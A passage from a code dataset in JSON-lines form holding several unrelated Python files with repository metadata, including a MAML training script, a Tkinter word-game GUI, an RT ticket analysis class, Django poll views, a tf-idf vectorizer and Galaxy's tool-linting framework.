DataLoader(mini_test, 1, shuffle=True, num_workers=8, pin_memory=True)\n accs_all_test = []\n\n for x_spt, y_spt, x_qry, y_qry in db_test:\n x_spt, y_spt, x_qry, y_qry = x_spt.squeeze(0).to(device), y_spt.squeeze(0).to(device), \\\n x_qry.squeeze(0).to(device), y_qry.squeeze(0).to(device)\n\n accs = maml.finetunning(x_spt, y_spt, x_qry, y_qry)\n accs_all_test.append(accs)\n\n # [b, update_step+1]\n accs = np.array(accs_all_test).mean(axis=0).astype(np.float16)\n # print('Test acc:', accs)\n metrics_test = {\"test/test_acc\": accs}\n wandb.log({**metrics, **metrics_test})\n\n wandb.finish()\n\n\n\nif __name__ == '__main__':\n\n argparser = argparse.ArgumentParser()\n argparser.add_argument('--epoch', type=int, help='epoch number', default=60000)\n argparser.add_argument('--n_way', type=int, help='n way', default=5)\n argparser.add_argument('--k_spt', type=int, help='k shot for support set', default=1)\n argparser.add_argument('--k_qry', type=int, help='k shot for query set', default=15)\n argparser.add_argument(\"--local_rank\", type=int, default=0)\n\n args = argparser.parse_args()\n\n main()","repo_name":"solee7650/MAML-pytorch","sub_path":"MAML/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5650879251","text":"import sys\n\nfrom tkinter import *\nfrom tkinter.messagebox import askyesno\n\nfrom lib.gui.entry_page import EntryPage\n\nclass Root(Tk):\n def __init__(self, dic='./dics/sowpods.txt'):\n Tk.__init__(self)\n self.title('PyQLess')\n self.config(bg='azure')\n # self.protocol('WM_DELETE_WINDOW', self.quit_game)\n\n self.dict = dic\n\n # center game window\n ws = self.winfo_screenwidth()\n x = int((ws/2) - (704/2)) \n\n self.geometry('704x420+{}+{}'.format(x, 0))\n self.minsize(704, 420)\n\n self.draw_menu()\n self.draw_container()\n\n EntryPage(self.container, self.dict)\n\n def draw_menu(self):\n top = Menu(self)\n self.config(menu=top)\n\n game_m = Menu(top)\n game_m.add_command(label='Quit', underline=0, command=self.quit_game)\n\n about_m = Menu(top)\n about_m.add_command(label='Game Info', underline=0, command=self.render_info_page)\n\n top.add_cascade(label='Game', menu=game_m, underline=0)\n top.add_cascade(label='About', menu=about_m, underline=0)\n\n def draw_container(self):\n self.container = Frame(self, bg='azure')\n self.container.pack(side=TOP, fill=BOTH, expand=YES)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n\n def render_info_page(self):\n info_page = Toplevel(self)\n info_page.minsize(700, 420)\n info_page.maxsize(700, 420)\n\n info = Text(info_page, height=40, width=90)\n scroll = Scrollbar(info_page, command=info.yview)\n\n info.configure(yscrollcommand=scroll.set)\n\n info.tag_configure('bold', font=('Arial', 15, 'bold'))\n info.tag_configure('title', font=('Arial', 21, 'bold', 'italic'), justify='center')\n info.tag_configure('italic', font=('Arial', 13, 'italic'))\n info.tag_configure('underline', font=('Arial', 12, 'italic', 'underline'))\n\n info.insert(END, 'BASIC INFO\\n\\n', 'title')\n info.insert(END, 'THE GAME\\n\\n', 'bold')\n info.insert(END, 'Roll the dice and use ALL 12 letters to make words that connect. Words must have at least 3 letters. No proper nouns. No time limit. Most rolls are solvable but not all.\\n\\n\\n')\n info.insert(END, 'Caution\\n\\n', 'bold')\n info.insert(END, 'Q-Less can be addictive.\\n\\n\\n')\n info.pack(side=LEFT, padx=20)\n scroll.pack(side=RIGHT, fill=Y)\n\n def quit_game(self):\n if askyesno('Quit Game', 'Are you sure to quit the game?'):\n if self.child:\n self.child.destroy()\n\n self.quit()\n\n def set_geometry(self):\n if sys.platform == 'darwin':\n self.geometry('750x790')\n self.minsize(750, 790)\n elif sys.platform == 'win32':\n self.geometry('620x600')\n self.minsize(620, 600)\n else:\n self.geometry('700x650')\n self.minsize(700, 650)\n","repo_name":"connorklee/py_qless_gui_master","sub_path":"lib/gui/root.py","file_name":"root.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42356190083","text":"import logging\nimport multiprocessing\nimport os\nimport sys\nimport threading\n\nlogger = None\n\n# if \"logger.logger\" in sys.modules:\ntry:\n from logger.logger import *\nexcept ImportError:\n pass\n\nif logger is None:\n\n from executors.config import config\n\n formatter = logging.Formatter(\"%(asctime)s [%(levelname)-8s] - %(message)s\")\n formatter_result = logging.Formatter(\"%(message)s\")\n formatter.default_msec_format = '%s.%03d'\n\n logger = logging.getLogger(os.path.splitext(os.path.basename(__file__))[0])\n logger.addHandler(logging.NullHandler())\n level = logging.DEBUG if config.DEBUG else logging.INFO\n logger.setLevel(level)\n\ndef _repr_process(process = multiprocessing.current_process()) -> str:\n return \"\"\n\ndef _repr_thread(thread = threading.current_thread()) -> str:\n return \"\"\n\ndef info(name = \"\") -> str:\n process = multiprocessing .current_process()\n thread = threading .current_thread()\n process = _repr_process(process)\n thread = _repr_thread(thread)\n return f\"<{name} process={process} thread={thread}>\"\\\n if config.DEBUG\\\n else\\\n f\"{name}\"\n","repo_name":"madzwb/executors","sub_path":"src/executors/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19366503372","text":"import time\nimport inspect\n\n\nclass UtClassTestTool:\n \"\"\" add print info: start/end information and the time spent on this test cases\n \"\"\"\n def __init__(self, print_time=False, add_case=True):\n self.print_time = print_time\n self.add_case = add_case\n\n def __call__(self, func):\n def wrapper(*args, **kwargs):\n print(f\"\\n{'*' * 20} {func.__name__} start {'*' * 20}\\n\")\n if self.print_time:\n t_start = time.time()\n func(*args, **kwargs)\n t_end = time.time()\n cost_time = round(t_end - t_start, 3)\n print(f\"\\n{'*' * 20} {func.__name__} end, cost[{cost_time}s] {'*' * 20}\\n\")\n else:\n func(*args, **kwargs)\n print(f\"\\n{'*' * 20} {func.__name__} end {'*' * 20}\\n\")\n return wrapper\n","repo_name":"acgmusic/c_code_parser","sub_path":"utils/ut_tools.py","file_name":"ut_tools.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6192091106","text":"# Keeps a dictionary of responses indexed by keywords\n# KDSMIL001\n# 3 April 2019\n\ndef welcome():\n print(\"Welcome to the automated technical support system.\")\n print(\"Please describe your problem:\")\n\ndef get_input():\n return input().lower()\n\ndef main():\n welcome()\n query = get_input()\n\n responses = {\n 'crashed': 'Are the drivers up to date?',\n 'blue': 'Ah, the blue screen of death. And then what happened?',\n 'hacked': 'You should consider installing anti-virus software.',\n 'bluetooth': 'Have you tried mouthwash?',\n 'windows': 'Ah, I think I see your problem. What version?',\n 'apple': 'You do mean the computer kind?',\n 'spam': 'You should see if your mail client can filter messages.',\n 'connection': 'Contact Telkom.'\n }\n\n while (not query == 'quit'):\n if query in responses:\n print(responses[query])\n query = get_input()\n \n else:\n print('Curious, tell me more.')\n query = get_input()\n\n\nif __name__ == '__main__':\n main()","repo_name":"mkidson/Uni-Code","sub_path":"1st Year/CSC Python Projects/Assignment 7/support.py","file_name":"support.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"18987272554","text":"import pytz\nfrom datetime import datetime\nfrom datetime import timedelta\n\nclass Ticket:\n \"\"\"\n Contains shortcut variables to data on a single ticket.\n Beware that as more shortcut variables get added, this class can become a performance choke point\n since every ticket gets constructed into this object.\n \"\"\"\n\n\n def __init__(self, content):\n \"\"\"\n content (dict): The dictionary of ticket contents given by get_ticket()\n \"\"\"\n self.content = content\n\n # Trivial shortcuts (for frequently used items).\n self.status = self.content['Status']\n self.histories = self.content['histories']\n # What RT returns for ticket number: ticket/699999\n self.number = self.content['id'].split('/')[1]\n self.user = self.content['Requestors']\n # Was this ticket made by qthelper.\n self.is_qthelper = True if self.content['Creator'] == 'qthelper' else False\n self.tag = self.content['CF.{USS_Ticket_Category}'] if 'CF.{USS_Ticket_Category}' in self.content else None\n self.subtag = self.content['CF.{USS_Ticket_Subcategory}'] if 'CF.{USS_Ticket_Subcategory}' in self.content else None\n\n self.correspondences = self._get_correspondences()\n self.first_non_user_corr = self._first_corr_from_non_user()\n self.last_correspondence = None if not self.correspondences \\\n else self.correspondences[len(self.correspondences) - 1]\n\n self.touches = self._get_touches() # List of people that touched this ticket.\n\n\n self.resolves = self._get_resolves()\n\n\n\n def _get_correspondences(self):\n \"\"\"\n Returns a list of histories that has the type \"correspond\".\n \"\"\"\n if not self.content or 'histories' not in self.content:\n return None\n return [h for h in self.histories if h['Type'] == 'Correspond']\n\n\n def _first_corr_from_non_user(self):\n \"\"\"\n Returns first history of a correspondence from non-user.\n \"\"\"\n for history in self.correspondences:\n if history['Creator'] != self.user:\n return history\n\n return None\n \n\n def _get_touches(self):\n \"\"\"\n Return a list of people that have touched this ticket.\n Filters out RT_System as well as users with actual email (aka not from OIT).\n \"\"\"\n ret = []\n for h in self.histories:\n if '@' in h['Creator'] or 'RT_System' in h['Creator']:\n # Filter out RT_System and emails (assuming no OIT usernames include '@'.\n continue\n if h['Creator'] not in ret:\n ret.append(h['Creator'])\n return ret\n \n\n \n\n def _get_resolves(self):\n \"\"\"\n Return list of histories that indicate someone resolving a ticket.\n \"\"\"\n if not self.content or 'histories' not in self.content:\n return None\n return [h for h in self.histories if h['Type'].strip() == 'Status' and h['NewValue'] == 'resolved']\n\n\n def get_response_time(self):\n \"\"\"\n Return the average response time of the ticket in seconds.\n This looks for user correspondence and times the follow-up correspondence.\n Return None if ticket has no correspondence from non-users.\n \"\"\"\n if not self.correspondences:\n return None\n\n corr_list = self.correspondences # Variable shortener.\n\n total_time = 0\n count = 0\n\n #import pdb; pdb.set_trace()\n if corr_list[0]['Creator'] != self.user:\n # First correspondence is from OIT (aka replying to a ticket created by user).\n created_time = self.parse_time(self.histories[0]['Created'])\n first_corr_time = self.parse_time(corr_list[0]['Created'])\n total_time += self.get_time_difference(created_time, first_corr_time)\n count = 1\n\n for i in range(len(corr_list)):\n if corr_list[i]['Creator'] == self.user:\n if i+1 != len(corr_list) and corr_list[i+1]['Creator'] != self.user:\n corr_list[i]\n total_time += self.get_time_difference(self.parse_time(corr_list[i]['Created']),\n self.parse_time(corr_list[i+1]['Created']))\n count += 1\n\n if count == 0:\n return None\n\n return total_time / count\n\n\n def get_time_difference(self, startTime, endTime):\n \"\"\"\n Returns the difference between two datetimes in seconds.\n Ignores weekends. Weekends is Saturday and Sunday, aka 48 hours worth of seconds.\n \"\"\"\n sec_in_day = 86400\n #import pdb; pdb.set_trace()\n if startTime.weekday() in [5, 6]:\n # If time is weekend, use Monday instead.\n # This does assume that replies will never be made during the weekend.\n startTime = startTime + timedelta(days=7-startTime.weekday())\n startTime = startTime.replace(hour=0, minute=0, second=0, microsecond=0)\n if endTime.weekday() in [5,6]:\n endTime = endTime + timedelta(days=7-endTime.weekday())\n endTime = endTime.replace(hour=0, minute=0, second=0, microsecond=0)\n time_delta = endTime - startTime\n ret = time_delta.days * sec_in_day + time_delta.seconds\n if endTime.weekday() < startTime.weekday():\n ret -= sec_in_day * 2\n if time_delta.days / 7 > 0:\n ret -= sec_in_day * int(time_delta.days/7) * 2\n return ret\n\n\n def parse_time(self, time):\n \"\"\"\n time (str): The time string that is given by RT. RT gives UTC time, so it needs to be converted.\n Return a datetime in the PST timezone.\n \"\"\"\n time = time.strip()\n time = datetime.strptime(time, \"%Y-%m-%d %H:%M:%S\").replace(tzinfo=pytz.timezone('UTC'))\n return time.astimezone(pytz.timezone('US/Pacific'))\n\n\nif __name__ == '__main__':\n from rt import RT\n t = RT.get_ticket(700000)\n #print(t.get_response_time())\n print(t.touches)\n","repo_name":"tinlun/Helpdesk-slackbot","sub_path":"src/rt/ticket.py","file_name":"ticket.py","file_ext":"py","file_size_in_byte":6137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6876521171","text":"import speech_recognition as sr\nimport openai\n\nopenai.api_key = \"YOUR_OPENAI_API_KEY\"\n\n\ndef chat_response(text):\n response = openai.Completion.create(\n engine=\"text-davinci-002\",\n prompt=f\"{text}\\n\",\n max_tokens=1024,\n n=1,\n stop=None,\n temperature=0.5,\n ).choices[0].text\n return response\n\n\ndef listen_and_respond():\n recognizer = sr.Recognizer()\n microphone = sr.Microphone()\n\n with microphone as source:\n recognizer.adjust_for_ambient_noise(source)\n audio = recognizer.listen(source)\n\n try:\n text = recognizer.recognize_google(audio, language=\"ko-KR\")\n # response = chat_response(text)\n print(f\"You: {text}\")\n # print(f\"ChatGPT: {response}\")\n except sr.UnknownValueError:\n print(\"Could not understand audio\")\n except sr.RequestError as e:\n print(\"Could not request results; {0}\".format(e))\n\n\nif __name__ == \"__main__\":\n listen_and_respond()\n","repo_name":"changhyun46/MyFastApi","sub_path":"MySpeech.py","file_name":"MySpeech.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7646167831","text":"# -*- coding: utf-8 -*-\nfrom enum import Enum\n\nclass D2TQHeader(Enum):\n Memory = \"00_ID\"\n Tick = \"01_ID\"\n ServerHeartbeat = \"02_ServerDate\"\n\n# Define function to fetch remote data # demonstartion only #\nclass D2TQPacket(object):\n def __init__(self) -> None:\n self.__tick_count:dict = {} \n self.__quote_count:dict = {} \n\n def make_memory_stream(self, symbol:str, time:int, open:float, high:float, low:float, close:float, volume: float, bid:float, ask:float, pre_close:float, bid_size:float, ask_size: float, epoch:int)->str:\n if symbol in self.__quote_count:\n self.__quote_count[symbol] += 1\n else:\n self.__quote_count[symbol] = 1\n result = D2TQHeader.Memory.value + \"=\" + symbol + \",\"\n result += f\"TickCount={self.__quote_count[symbol]},\"\n result += f\"Time={time},\"\n if open > 0 and high > 0 and low > 0 and close and volume > 0:\n result += f\"O={open},\"\n result += f\"H={high},\"\n result += f\"L={low},\"\n result += f\"C={close},\"\n result += f\"V={volume},\"\n result += f\"Bid={bid},\"\n result += f\"Ask={ask},\"\n if pre_close > 0:\n result += f\"PC={pre_close},\"\n result += f\"BSz={bid_size},\"\n result += f\"ASz={ask_size},\"\n result += f\"EPID={epoch},\"\n result += f\"\\r\\n\"\n return result\n\n def make_tick_stream(self, symbol:str, time:int, close:float, volume: float, epoch:int)->str: \n if symbol in self.__tick_count:\n self.__tick_count[symbol] += 1\n else:\n self.__tick_count[symbol] = 1\n \n result = D2TQHeader.Tick.value + \"=\" + symbol + \",\"\n result += f\"Time={time},\"\n result += f\"C={close},\"\n result += f\"V={volume},\"\n result += f\"TC={self.__tick_count[symbol]},\"\n result += f\"EPID={epoch},\"\n result += f\"\\r\\n\"\n return result\n\n def make_server_heartbeat_stream(self, server_date:int, server_time:int, epoch:int)->str:\n result = D2TQHeader.ServerHeartbeat.value + \"=\" + server_date + \",\"\n result += f\"ServerTime={server_time},\"\n result += f\"EPID={epoch},\"\n result += f\"\\r\\n\"\n return result","repo_name":"j19920816/Exchange-Quote-D2TQ","sub_path":"d2tq_stream.py","file_name":"d2tq_stream.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33260942410","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import CustomUserForm\nfrom django.contrib.auth import logout\n\nfrom .models import Character, Question, Choice\n\ndef index(request):\n return render(request, \"polls/index.html\")\n\n#loads the survey template that renders the questions for the survey\n@login_required\ndef survey(request):\n current_user = request.user\n try:\n choice = get_object_or_404(Choice, user=current_user)\n except:\n choice = Choice.objects.create(user=current_user)\n questions = Question.objects.all()\n \n #saves the users choices to their associated choice model in the database\n if request.method==\"POST\":\n try:\n choice.choiceOne = request.POST.get(\"answer1\")\n choice.choiceTwo = request.POST.get(\"answer2\")\n choice.choiceThree = request.POST.get(\"answer3\")\n choice.choiceFour = request.POST.get(\"answer4\")\n choice.choiceFive = request.POST.get(\"answer5\")\n choice.choiceSix = request.POST.get(\"answer6\")\n choice.choiceSeven = request.POST.get(\"answer7\")\n choice.choiceEight = request.POST.get(\"answer8\")\n choice.choiceNine = request.POST.get(\"answer9\")\n choice.save()\n return compare(request)\n except:\n return render(request, \"polls/tryagain.html\")\n \n return render(request, \"polls/survey.html\", {\"questions\": questions})\n\n#compares the user's choices to the characters in the character model database then displays the result\n@login_required\ndef compare(request):\n current_user = request.user\n try:\n choices = Choice.objects.values_list(\"choiceOne\",\"choiceTwo\", \"choiceThree\", \"choiceFour\", \"choiceFive\", \"choiceSix\", \"choiceSeven\",\"choiceEight\",\"choiceNine\").get(user=current_user)\n except:\n return render(request, \"polls/tryagain.html\")\n countList = []\n characterCount = Character.objects.all().count()\n\n for i in range(characterCount): \n #itterates through the character list and compares each character to the choices made by the user\n #then stores a count of each matching choice in a list.\n character_id = i+1\n characterTraits = Character.objects.values_list(\"human\",'goodOrBad',\"sex\",\"support\",\"range\",\"weapons\",\"otherOne\",\"otherTwo\",\"otherThree\").get(id=character_id)\n countList.append(sum(x==y for x, y in zip(choices, characterTraits))) #compares each choice with character traits and gives a sum of total matches\n characterIndex = max(range(len(countList)), key=countList.__getitem__) + 1 #finds the index of the highest match count in the comparison list. \n #This is suboptimal as it doesn't account for results that have the same value and just pulls the first index.\n charPick = Character.objects.values_list(\"charName\", flat = True).get(id=characterIndex) #pulls the character that matches the index\n\n return render(request, \"polls/compare.html\", {\"charPick\": charPick})\n\n#renders a pages if there is an issue with saving the users results to the database\ndef tryAgain(request):\n return render(request, \"polls/tryagain.html\")\n\n#allos the users to register an account\ndef register(request):\n if request.method != 'POST':\n form = CustomUserForm()\n else:\n form = CustomUserForm(request.POST)\n if form.is_valid():\n form.save()\n return render(request, 'registration/login.html')\n\n context = {'form': form}\n\n return render(request, 'polls/register.html', context)\n\ndef logoutRequest(request):\n logout(request)\n return render(request, \"polls/index.html\")","repo_name":"ChuckyT83/G2FinalP","sub_path":"final1/polls/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15921861364","text":"import typing as t, math\nfrom collections import Counter\n\nclass TfidfTransformer():\n \"\"\"\n A class for transforming a bag of words to tf-idf vectors.\n ...\n Attributes\n ----------\n -\n Methods\n -------\n fit_transform(self, matrix: t.List) -> t.List[t.List[int]]:\n Trains a tf-idf on a set of bag of words.\n tf_transform(self, count_matrix: t.List[t.List[int]]) -> t.List[t.List[int]]:\n Returns tf vector of bag of documents corpus.\n idf_transform(self, count_matrix: t.List[t.List[float]]) -> t.List[float]:\n Returns idf vector of bag of documents corpus.\n \"\"\"\n def fit_transform(self, matrix: t.List) -> t.List[t.List[int]]:\n \"\"\"\n param:\n - matrix (List): bow matrix\n return:\n - tf_idf (list): tf-idf matrix from bow matrix\n \"\"\"\n tf = self.tf_transform(matrix)\n idf = self.idf_transform(matrix)\n\n tf_idf = []\n for text in tf:\n tf_idf.append([round(a * b, 3) for a,b in zip(text,idf)])\n\n return tf_idf\n\n def idf_transform(self, count_matrix: t.List[t.List[float]]) -> t.List[float]:\n \"\"\"\n param:\n - count_matrix (list): bow matrix\n return:\n - idf_matrix (list): idf matrix\n \"\"\"\n result = list()\n document_count = len(count_matrix)\n len_vector = len(count_matrix[0])\n\n for col in range(len_vector):\n cur_sum = 0\n for row in range(document_count):\n cur_sum += bool(count_matrix[row][col])\n result.append(cur_sum)\n\n for i in range(len_vector):\n result[i] = round(math.log((document_count + 1)/(result[i] + 1)), 3) + 1\n\n return result\n\n def tf_transform(self, count_matrix: t.List[t.List[int]]) -> t.List[t.List[int]]:\n \"\"\"\n param:\n - count_matrix: bow matrix\n return:\n - tf_matrix: tf-idf matrix\n \"\"\"\n tf_matrix = []\n\n for vec in count_matrix:\n number_of_word = sum(vec)\n tf_matrix_row = [round(i/number_of_word,3) for i in vec]\n tf_matrix.append(tf_matrix_row)\n\n return tf_matrix\n\nclass CountVectorizer:\n \"\"\"\n A class for representing a corpus of texts in the format of a bag of words.\n ...\n Attributes\n ----------\n _corp_vocab : str\n vocabulary of text features\n Methods\n -------\n fit_transform(self, corpus: list) -> List[List[int]]:\n Trains a bag of words on a set of texts and returns a matrix representation of the corpus.\n get_feature_name(self) -> list:\n Returns vocabulary of bag of words' features.\n \"\"\"\n\n def __init__(self):\n self._corp_vocab = []\n\n\n def fit_transform(self, corpus: list) -> list:\n \"\"\"\n param:\n - corpus (list): text data list\n return:\n - term_matrix (list): term-document matrix, based on input corpus of text data\n \"\"\"\n\n total_text_counters = []\n\n for text in corpus:\n text_counter = Counter(text.lower().split())\n total_text_counters.append(text_counter)\n\n for word in text_counter.keys():\n if word not in self._corp_vocab:\n self._corp_vocab.append(word)\n\n\n term_matrix = [\n [text_counter.get(word_from_vocab,0) for word_from_vocab in self._corp_vocab]\n for text_counter in total_text_counters\n ]\n\n return term_matrix\n\n def get_feature_names(self) -> list:\n \"\"\"\n return:\n get_feature_name(list): vocabulary of features\n \"\"\"\n return self._corp_vocab\n\nclass TfidfVectorizer(CountVectorizer):\n \"\"\"\n A class for getting tf-idf representation of bag-of-words.\n ...\n Attributes\n ----------\n -\n Methods\n -------\n fit_transform(self, corpus: list) -> List[List[int]]:\n Trains a tf-idf representation on a corpus of texts.\n \"\"\"\n def __init__(self):\n super().__init__()\n self._tfidf_transformer = TfidfTransformer()\n\n def fit_transform(self, corpus):\n \"\"\"\n param:\n - corpus (list): text data list\n return:\n - tfidf_matrix (list): tf-idf matrix, based on input corpus of text data\n \"\"\"\n count_matrix = super().fit_transform(corpus)\n return self._tfidf_transformer.fit_transform(count_matrix)\n\n\ncorpus = [\n'Crock Pot Pasta Never boil pasta again',\n'Pasta Pomodoro Fresh ingredients Parmesan to taste'\n]\nvectorizer = TfidfVectorizer()\ntfidf_matrix = vectorizer.fit_transform(corpus)\nassert vectorizer.get_feature_names() == ['crock', 'pot', 'pasta', 'never', 'boil', 'again', 'pomodoro', 'fresh', 'ingredients', 'parmesan', 'to', 'taste']\nassert tfidf_matrix == [[0.201, 0.201, 0.286, 0.201, 0.201, 0.201, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.143, 0.0, 0.0, 0.0, 0.201, 0.201, 0.201, 0.201, 0.201, 0.201]]","repo_name":"fedotovroman/aaa_python","sub_path":"classes1/tfidf.py","file_name":"tfidf.py","file_ext":"py","file_size_in_byte":4909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18447236058","text":"\"\"\"This modules contains the functions that drive the tool linting framework.\n\nLintContext: a container for LintMessages\nLintMessage: the actual message and level\n\nThe idea is to define a LintContext and to apply a linting function ``foo`` on a\n``target``. The ``level`` (defined by ``LintLevel``) determines which linting\nmessages are shown::\n\n\n lint_ctx = LintContext(level) # level is the reporting level\n lint_ctx.lint(..., lint_func = foo, lint_target = target, ...)\n\nThe ``lint`` function essentially calls ``foo(target, self)``. Hence\nthe function ``foo`` must have two parameters:\n\n1. the object to lint\n2. the lint context\n\nIn ``foo`` the lint context can be used to add LintMessages to the lint context\nby using its ``valid``, ``info``, ``warn``, and ``error`` functions::\n\n\n lint_foo(target, lint_ctx):\n lint_ctx.error(\"target is screwed\")\n\nCalling ``lint`` prints out the messages emmited by the linter\nfunction immediately. Which messages are shown can be determined with the\n``level`` argument of the ``LintContext`` constructor. If set to ``SILENT``,\nno messages will be printed.\n\nFor special lint targets it might be useful to have additional information\nin the lint messages. This can be achieved by subclassing ``LintMessage``.\nSee for instance ``XMLLintMessageLine`` which has an additional argument\n``node`` in its constructor which is used to determine the line and filename in\nan XML document that caused the message.\n\nIn order to use this.\n\n- the lint context needs to be initialized with the additional parameter\n ``lint_message_class=XMLLintMessageLine``\n- the additional parameter needs to be added as well to calls adding messages\n to the lint context, e.g. ``lint_ctx.error(\"some message\", node=X)``. Note\n that the additional properties must be given as keyword arguments.\n\"\"\"\n\nimport inspect\nfrom enum import IntEnum\nfrom typing import (\n Callable,\n List,\n Optional,\n Type,\n TypeVar,\n Union,\n)\n\nfrom galaxy.tool_util.parser import get_tool_source\nfrom galaxy.util import (\n etree,\n submodules,\n)\n\n\nclass LintLevel(IntEnum):\n SILENT = 5\n ERROR = 4\n WARN = 3\n INFO = 2\n VALID = 1\n ALL = 0\n\n\nclass LintMessage:\n \"\"\"\n a message from the linter\n \"\"\"\n\n def __init__(self, level: str, message: str, **kwargs):\n self.level = level\n self.message = message\n\n def __eq__(self, other) -> bool:\n \"\"\"\n add equal operator to easy lookup of a message in a\n List[LintMessage] which is useful in tests.\n\n If the other object is a string, it is loosely checked if the\n string is contained in the message.\n \"\"\"\n if isinstance(other, str):\n return other in self.message\n if isinstance(other, LintMessage):\n return self.message == other.message\n return False\n\n def __str__(self) -> str:\n return f\".. {self.level.upper()}: {self.message}\"\n\n def __repr__(self) -> str:\n return f\"LintMessage({self.message})\"\n\n\nclass XMLLintMessageLine(LintMessage):\n def __init__(self, level: str, message: str, node: Optional[etree.Element] = None):\n super().__init__(level, message)\n self.line = None\n if node is not None:\n self.line = node.sourceline\n\n def __str__(self) -> str:\n rval = super().__str__()\n if self.line is not None:\n rval += \" (\"\n rval += str(self.line)\n rval += \")\"\n return rval\n\n\nclass XMLLintMessageXPath(LintMessage):\n def __init__(self, level: str, message: str, node: Optional[etree.Element] = None):\n super().__init__(level, message)\n self.xpath = None\n if node is not None:\n tool_xml = node.getroottree()\n self.xpath = tool_xml.getpath(node)\n\n def __str__(self) -> str:\n rval = super().__str__()\n if self.xpath is not None:\n rval += f\" [{self.xpath}]\"\n return rval\n\n\nLintTargetType = TypeVar(\"LintTargetType\")\n\n\n# TODO: Nothing inherently tool-y about LintContext and in fact\n# it is reused for repositories in planemo. Therefore, it should probably\n# be moved to galaxy.util.lint.\nclass LintContext:\n skip_types: List[str]\n level: LintLevel\n lint_message_class: Type[LintMessage]\n object_name: Optional[str]\n message_list: List[LintMessage]\n\n def __init__(\n self,\n level: Union[LintLevel, str],\n lint_message_class: Type[LintMessage] = LintMessage,\n skip_types: Optional[List[str]] = None,\n object_name: Optional[str] = None,\n ):\n self.skip_types = skip_types or []\n if isinstance(level, str):\n self.level = LintLevel[level.upper()]\n else:\n self.level = level\n self.lint_message_class = lint_message_class\n self.object_name = object_name\n self.message_list = []\n\n @property\n def found_errors(self) -> bool:\n return len(self.error_messages) > 0\n\n @property\n def found_warns(self) -> bool:\n return len(self.warn_messages) > 0\n\n def lint(self, name: str, lint_func: Callable[[LintTargetType, \"LintContext\"], None], lint_target: LintTargetType):\n name = name[len(\"lint_\") :]\n if name in self.skip_types:\n return\n\n if self.level < LintLevel.SILENT:\n # this is a relict from the past where the lint context\n # was reset when called with a new lint_func, as workaround\n # we save the message list, apply the lint_func (which then\n # adds to the message_list) and restore the message list\n # at the end (+ append the new messages)\n tmp_message_list = list(self.message_list)\n self.message_list = []\n\n # call linter\n lint_func(lint_target, self)\n\n if self.level < LintLevel.SILENT:\n # TODO: colorful emoji if in click CLI.\n if self.error_messages:\n status = \"FAIL\"\n elif self.warn_messages:\n status = \"WARNING\"\n else:\n status = \"CHECK\"\n\n def print_linter_info(printed_linter_info):\n if printed_linter_info:\n return True\n print(f\"Applying linter {name}... {status}\")\n return True\n\n plf = False\n for message in self.error_messages:\n plf = print_linter_info(plf)\n print(f\"{message}\")\n\n if self.level <= LintLevel.WARN:\n for message in self.warn_messages:\n plf = print_linter_info(plf)\n print(f\"{message}\")\n\n if self.level <= LintLevel.INFO:\n for message in self.info_messages:\n plf = print_linter_info(plf)\n print(f\"{message}\")\n if self.level <= LintLevel.VALID:\n for message in self.valid_messages:\n plf = print_linter_info(plf)\n print(f\"{message}\")\n self.message_list = tmp_message_list + self.message_list\n\n @property\n def valid_messages(self) -> List[LintMessage]:\n return [x for x in self.message_list if x.level == \"check\"]\n\n @property\n def info_messages(self) -> List[LintMessage]:\n return [x for x in self.message_list if x.level == \"info\"]\n\n @property\n def warn_messages(self) -> List[LintMessage]:\n return [x for x in self.message_list if x.level == \"warning\"]\n\n @property\n def error_messages(self) -> List[LintMessage]:\n return [x for x in self.message_list if x.level == \"error\"]\n\n def __handle_message(self, level: str, message: str, *args, **kwargs) -> None:\n if args:\n message = message % args\n self.message_list.append(self.lint_message_class(level=level, message=message, **kwargs))\n\n def valid(self, message: str, *args, **kwargs) -> None:\n self.__handle_message(\"check\", message, *args, **kwargs)\n\n def info(self, message: str, *args, **kwargs) -> None:\n self.__handle_message(\"info\", message, *args, **kwargs)\n\n def error(self, message: str, *args, **kwargs) -> None:\n self.__handle_message(\"error\", message, *args, **kwargs)\n\n def warn(self, message: str, *args, **kwargs) -> None:\n self.__handle_message(\"warning\", message, *args, **kwargs)\n\n def failed(self, fail_level: Union[LintLevel, str]) -> bool:\n if isinstance(fail_level, str):\n fail_level = LintLevel[fail_level.upper()]\n found_warns = self.found_warns\n found_errors = self.found_errors\n if fail_level == LintLevel.WARN:\n lint_fail = found_warns or found_errors\n elif fail_level >= LintLevel.ERROR:\n lint_fail = found_errors\n return lint_fail\n\n\ndef lint_tool_source(\n tool_source, level=LintLevel.ALL, fail_level=LintLevel.WARN, extra_modules=None, skip_types=None, name=None\n) -> bool:\n \"\"\"\n apply all (applicable) linters from the linters submodule\n and the ones in extramodules\n\n immediately print linter messages (wrt level) and return if linting failed (wrt fail_level)\n \"\"\"\n extra_modules = extra_modules or []\n skip_types = skip_types or []\n 